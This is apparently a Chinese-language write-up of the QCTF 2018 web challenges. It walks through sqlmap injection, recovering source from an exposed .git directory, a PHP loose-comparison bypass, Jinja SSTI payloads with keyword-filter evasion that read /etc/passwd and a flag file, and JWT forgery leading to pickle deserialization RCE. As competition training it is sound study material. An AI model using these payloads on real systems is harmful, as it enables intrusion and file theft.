Web QCTF-WrtieUp-2018

=========================================

个人收获:

1.php是弱类型语言  xx==xx 或者xx===xx存在被绕过可能

2.python 和404   要想到Flask jinja injection(SSTI)

3.python序列化后的格式类似于:

a:5:{s:4:"name";s:6:"张三";s:3:"age";s:2:"22";s:3:"sex";s:3:"男";s:5:"phone";s:9:"123456789";s:7:"address";s:21:"上海市浦东新区";}   

 

==========================================

前言

玩了下QCTF的Web部分,非职业赛棍学到了不少的东西,Web部分同时感觉并不是很难,可能是因为同样是X-Man选拔赛的原因,Web,RE,Misc等考点比较全面,ORZ。写的时候赛题已经关闭,但还是尽量写清楚。

NewsCenter

嗯,签到题,搜索框的POST参数存在注入,抓包如下

 

POST / HTTP/1.1
Host: 47.96.118.255:33066
Content-Length: 47
Cache-Control: max-age=0
Origin: http://47.96.118.255:33066
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://47.96.118.255:33066/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

search=11111

 

保存到1.txt,扔进SQLMAP。

 

python sqlmap.py -r 1.txt --threads 5 --level 3 -D "news" -T "secret_table" --dump

直接跑出FLAG

Web QCTF-WrtieUp-2018_第1张图片

 

Lottery

这个题目的思路很简单,直接购买FLAG就行,没错,有钱就是可以为所欲为…… ORZ

扫描后发现.git目录,直接使用dvcs-ripper工具进行还原

 

./rip-git.pl -m -o /root/dvcs-ripper-master/ -v -u http://47.96.118.255:8888/.git/

得到源代码后进行审计,找到问题的处理函数

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

 

我们要增加我们的金币,就需要在switch/case这里选择靠后开关,

 

case 7:
	$prize = 5000000;
	break;

这里会被写入我们用于存储金币session

$money += $prize - 2;
$_SESSION['money'] = $money;

$same_count生成的时候,这里使用了==存在弱类型比较

 

for($i=0; $i<7; $i++){
	if($numbers[$i] == $win_numbers[$i]){
		$same_count++;
	}
}

我们直接利用trueif的判断表达式返回值一直为真

= 250);

    if (!$cstrong) {
        response_error('server need be checked, tell admin');
    }

    $num /= 25;
    return strval(floor($num));
}

function random_win_nums()
{
    $result = '';
    for ($i = 0; $i < 7; $i++) {
        $result .= random_num();
    }
    return $result;
}

echo random_win_nums() == true; //true

 

最后直接修改发送请求的内容,就能有足够的钱购买FLAG,为所欲为。。。。。

 

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

Confusion1

confusion1的描述
One day, Bob said "PHP is the best language!", but Alice didn't agree it, so Alice write a website to proof it. She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)

 

进入题目后,把里面的东西都点了点,发现是一个和描述一样的网站,功能不全,点击登陆和注册都是404。
404的页面会把不存在的页面路径作为提示输出在页面,首先想到XSS,但没找到XSS提交点。
还发现了网页注释提示Flag藏在服务器目录下,那这就不该是XSS。



然后网页正中间的图片是蟒蛇缠着大象,那这个题目应该就是和Python有关。
404页面 + Python 很容易就联想到 Flask jinja injection(SSTI)。
于是做了一个测试 {{ 12 }} ,发现页面的提示输出变成了12,这里已经可以确定是SSTI。

以前就有类似的题目,直接用以前的Payload

 

{{ ().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read() }}

 

发现存在简单的过滤,过滤了__class____subclasses__read等关键字
这里我们可以将过滤的属性名变为参数拼接起,就能绕过过滤。
于是我编写了Payload

 

{{ getattr(getattr(getattr(getattr((), '__cl' + 'ass__'), '__bases__')[0], '__sub' + 'classes__')()[40]('/etc/passwd', 'r'),'r' + 'ead')() }}

 

本地测试通过,能够成功读取文件,但是发现这个题目很奇怪发现是500。
卡了很久,后面发现是getattr函数选择上出现了错误。
当输入 {{ geattr }} 后,页面并没有返回信息
题目应该是删除或者过滤了这个函数。

这我们就选择__getattribute__,输入 {{ (). __getattribute__ }} ,成功返回信息

 


修改Payload如下,成功获取FLAG

 

{{[].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[40]('/opt/flag_b420e8cfb8862548e68459ae1d37a1d5.txt','r').__getattribute__('r'+'ead')()}}

这需要注意的是第三个__getattribute__函数是需要传入两个参数的__getattribute__(object,attribute)
其实这个函数本身就有两个参数,当我们通过(). __getattribute__这种指定对象的方式调用的时候objectself并且自动传入函数,
但是当我们使用__base__基类对象进行调用__getattribute__的时候就需要指定object

 

Confusion2

confusion2的描述
Finally Alice finished her website and published it, but I find something STRANGE when Alice said hello to me.
PS: Alice said she likes add salts when she was cooking.
hint:Alice likes adding salt at the LAST.

首先是注册和登陆,有个常规验证码,直接跑出来

$i = 0;
for ($i; $i < 100000000; $i++) {
    if (substr(md5($i), 0, 6) == '5bc395') {
        echo $i;
        exit();
    }
}

注册后登陆

 

GET /index.php HTTP/1.1
Host: 47.96.118.255:23333
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://47.96.118.255:23333/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=42a53fff-6354-45a3-afcd-c922f2c0d5ba; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg
Connection: close

发现Cookie里面存在一个token的键,并且键值为JWT

 

eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg

 

Decode后如下图
Web QCTF-WrtieUp-2018_第2张图片

 

这里比较关键的是生成签名的算法并非标准的JWT算法HS256 ES256等,而是使用的sha256,卡了好久。
以为header里面的"alg": "sha256"只是单纯的改了而已

 

这里还有就是要用到上面的salt文件的提示,这个文件里存储着salt,值为_Y0uW1llN3verKn0w1t_
根据这个题目的提示我们可以知道这个salt的位置为最后
第三部分的签名生成格式如下,那么我们就可以伪造JWT了

 

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = SHA256(encodedString +  '_Y0uW1llN3verKn0w1t_');

 

再看看Payload的内容

{
  "data": "O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}"
}

data的键值字符串是一串php序列化的字符串

O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}

User类,包含user_data这个属性,属性的值为,长度为60

 

(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.

 

这个值是Python序列化的字符串

 

>>> import pickle
>>> pickle.loads("(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.")
[u'Rai4over', 'e10adc3949ba59abbe56e057f20f883e']

 

这里我们直接联想到Python反序列化的RCE,这里不再赘述。
我们首先构造好Python的RCE的字符串然后,放进PHP的序列化的字符串里面,然后直接根据上文JWT算法算出对应的签名,替换Cookie,就能执行任意命令,Flag通过HTTP外带出来就行了。

最后

感谢指点的各位大师傅

你可能感兴趣的:(经验心得)